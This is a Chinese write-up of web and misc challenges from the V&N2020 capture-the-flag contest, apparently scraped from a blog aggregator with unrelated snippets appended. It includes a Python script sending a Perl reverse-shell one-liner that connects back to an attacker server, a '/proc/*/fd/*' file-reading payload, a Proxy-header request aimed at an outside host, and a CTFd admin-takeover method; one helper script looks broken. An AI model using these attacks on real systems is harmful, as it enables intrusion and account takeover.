[V&N2020 公开赛] Web misc部分题解

0x00 前言

写了一天题目,学到了好多东西, 简单记录一下

0x01 Web

HappyCTFd

直接使用网上公开的cve打:

解题思路:先注册一个admin空格账号,注意这里的靶机无法访问外网,邮箱填上buu内网的邮箱以admin账户登陆。然后修改密码,给我们注册的邮箱发送邮件,去内网邮箱处登陆,点击链接修改密码。这样平台真正的admin账户就被修改了。
我们以用户名admin,密码为我们刚刚修改的登陆。找到flag.

CHECKIN

perl 脚本反弹shell:
链接:
https://xz.aliyun.com/t/5768

https://www.anquanke.com/post/id/87017

解题:
首先开1台buu内部的服务器。
然后看一下ip:

写对应脚本:

import requests

url = "http://4fa601db-8d81-4ebf-8d4b-281ef2b28783.node3.buuoj.cn/shell"

data = {
    'c':"perl -e 'use Socket;$i=\"xxx.xx.xxx.118\";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};' &"
}

response = requests.get(url,params=data)

print(response.text)

这里ip和监听端口要和我们服务器相对应先别运行,先设置监听端口:根据脚本我们监听的是8888端口

然后运行脚本之后
回到服务器页面发现反弹shell成功
接下来弹flag:
链接
https://www.hi-linux.com/posts/64295.html
众所周知,/proc/[pid]/fd 是一个目录,包含进程打开文件的情况。在相应进程的/proc/$pid/fd 目录下存放了此进程所有打开的fd。当然有些可能不是本进程自己打开的,如通过fork()从父进程继承而来的。
payload:

cat /proc/*/fd/*

TimeTravel

链接:

https://www.anquanke.com/post/id/84227
同样需要监听端口,我们先开一台内网服务器。
使用下面的exp:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Sat, 29 Feb 2020 05:27:31 GMT
Content-Type: text/html; charset=UTF-8
Connection: Keep-alive
Content-Length: 16

{"success":true}

把他放在我们服务器上,然后运行监听端口:

打开题目,bp发包如下:

payload:

GET /?flag=123 HTTP/1.1
Host: node3.buuoj.cn:25028
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Proxy:http://174.0.213.118:8888

得到flag
还有一种解法是写一个tcp服务在我们的服务器上,然后修改头部信息Proxy:http://174.0.213.118:8888然后在这个服务器上反弹shell

#coding:utf-8
import time, socket, threading
def tcplink(sock, addr):
    while True:
        data = sock.recv(1024)
        time.sleep(1)
        if data == 'exit' or not data:
            break
        sock.send({'success':true} % data)
    sock.close()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8080))
s.listen(5)
print 'Waiting for connection...'
while True:
    sock, addr = s.accept()
    t = threading.Thread(target=tcplink, args=(sock, addr))
    t.start()

0x02 misc

拉胯的三条命令

简单的流量分析题目
链接:

https://fly8wo.github.io/2018/09/27/%E9%80%9A%E8%BF%87Wireshark%E5%88%86%E6%9E%90SYN%E6%89%AB%E6%8F%8F%E6%8A%80%E6%9C%AF/

思路:nmap的syn扫描就是5个数据包
找5个数据包交互的

ML 第一步

直接运行脚本

import numpy as np
from pwn import remote
import matplotlib.pyplot as plt
import re

p = remote("node3.buuoj.cn", 27794)

p.recvline()
p.sendline('yoshino-s')

for i in range(4):
    print(p.recvline())

p.sendline()
s = []
for i in range(70):
    s.append(p.recvline())

def process(s):
    xa = []
    ya = []
    for i in s:
        v = i.split(',')
        x = float(v[0][2:])
        y = float(v[1][2:-2])
        xa.append(x)
        ya.append(y)

    return (np.array(xa), np.array(ya))

(x, y) = process(s)
z1 = np.polyfit(x, y, 10)
p1 = np.poly1d(z1)
print(p1)

p.recvline()
p.sendline()
for i in range(10):
    q = p.recvline()
    xi = float(re.compile(b'When x=([0-9\.]+),y=?').findall(q)[0])
    p.sendline(str(p1(xi)))
    print(xi, p1(xi))
p.interactive()

原文地址:https://www.cnblogs.com/wangtanzhi/p/12388331.html

时间: 2024-11-13 06:45:40

[V&N2020 公开赛] Web misc部分题解的相关文章

[V&N2020 公开赛]CHECKIN

[V&N2020 公开赛]CHECKIN --s1mple 那天,我见过的最强剑客,提起了天下最强的宝剑······却早已没了剑心. 知识点 反弹shell::文件描述符:: 这里先引入一个知识点:文件描述符,在linux里,当一个进程打开某个文件直到关闭前,该进程会获得文件描述符,而文件描述符里有文件的内容,即便已经将文件删除,只是删除了其相应的目录索引节点,若进程依然存在没被关闭的话,就依然可以通过文件提供给它的文件描述符进行操作./proc/[pid]/fd 这个目录里包含了进程打开文件的

刷题记录:[V&N2020 公开赛]EasySpringMVC

题目复现链接:https://buuoj.cn/challenges 参考链接:2020 年 V&N 内部考核赛 WriteUp 从一道题入门JAVA反序列化漏洞 V&N公开赛2020 writeup Java反序列化 深入了解序列化writeObject.readObject.readResolve 总结一下,如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义

ISCC2014--basic+web+misc

之前也没做过这一部分的题,但觉得这些题挺有意思的,比赛时间又长,就边学边做,也学到不少东西. Basic 兵者诡道 进入关卡后 一番胡乱猜测后就没着了,大牛提示用GET,但是web小白没玩过抓包啊,学习一番,用WinsockExpert 得到了Key:Welcome-to-ISCC 知己知彼 只有两种字符,首先就猜测是摩尔密码,翻译为7个字符"mwggerw",提交不对,试试移位密码,得到"isccans",OK! 正则指令 又是完全不会的东西,不过上课无聊,就百度

BUUCTF--[V&N2020 公开赛]strangeCpp

测试文件:https://www.lanzous.com/iauqjsd 代码分析 先找到程序运行显示处的代码 1 // 个数,数组,环境变量 2 __int64 __fastcall sub_140013AA0(__int64 a1, __int64 a2, __int64 *a3) 3 { 4 char *v3; // rdi 5 signed __int64 i; // rcx 6 __int64 v5; // rax 7 __int64 v6; // rax 8 __int64 v7;

ps切图详解-web前端(转)

网页设计在技术层面上,第一步是美工做出网页效果图,第二步就是网页前端进行网页切图.网页切图工具常用的有fireworks.PS,这里使用PS进行网页切图. 我们通过设计稿,得到我们想要的产出物(如.png,.jpg文件),给网页提供图片素材(HTML:img,CSS:background). 一.使用PS工具 1.1 PS首选项设置 编辑->首选项->单位与标尺,选改为像素. 1.2 面板 在"窗口"菜单下开启: 工具(默认已开启) 选项(默认已开启) 图层(默认已开启)

web service c#

http://www.youtube.com/watch?v=mKjvKPlb1rA SOAP Web Services 01 - Introduction To Web Services 0. terminology WSDL:  Web Services Description Language in XML format UDDI:  Universal Description Discovery and Integration  is a directory service where

BugkuCTF web基础$_POST

前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理解,共勉~~~ 打开链接,就知道是道代码审计的题目,不过这题比较简单,我们一起看一下这段代码 $what=$_POST['what']; echo $what; if($what=='flag') echo 'flag{****}'; 意思是通过post传入一个参数what,如果what的值等于fl

用xshell操作linux系统的常用命令

(1)命令ls——列出文件 ls -la 给出当前目录下所有文件的一个长列表,包括以句点开头的“隐藏”文件 ls a* 列出当前目录下以字母a开头的所有文件 ls -l *.doc 给出当前目录下以.doc结尾的所有文件 (2)命令cp——复制文件 cp afile afile.bak 把文件复制为新文件afile.bak cp afile /home/bible/ 把文件afile从当前目录复制到/home/bible/目录下 cp * /tmp 把当前目录下的所有未隐藏文件复制到/tmp/目

autofs自动挂载

autofs:自动挂载器自动挂载器是一个监视目录的守护进程,并在目标子目录被引用时,自动执行预定义的NFS挂载自动挂载器由autofs服务脚本管理自动挂载器由auto.master配置文件进行配置,该文件引用了一个按惯例称作/etc/auto.misc或其他类似名称的二级配置文件autofs与NFS两者之间配后用的还是比较多的 mount命令参数非常多,如下为与NFS相关的参数.(1)-a:把/etc/fstab中列出的路径全部挂载.(2)-t:需要mount的类型,如nfs等.(3)-r:将m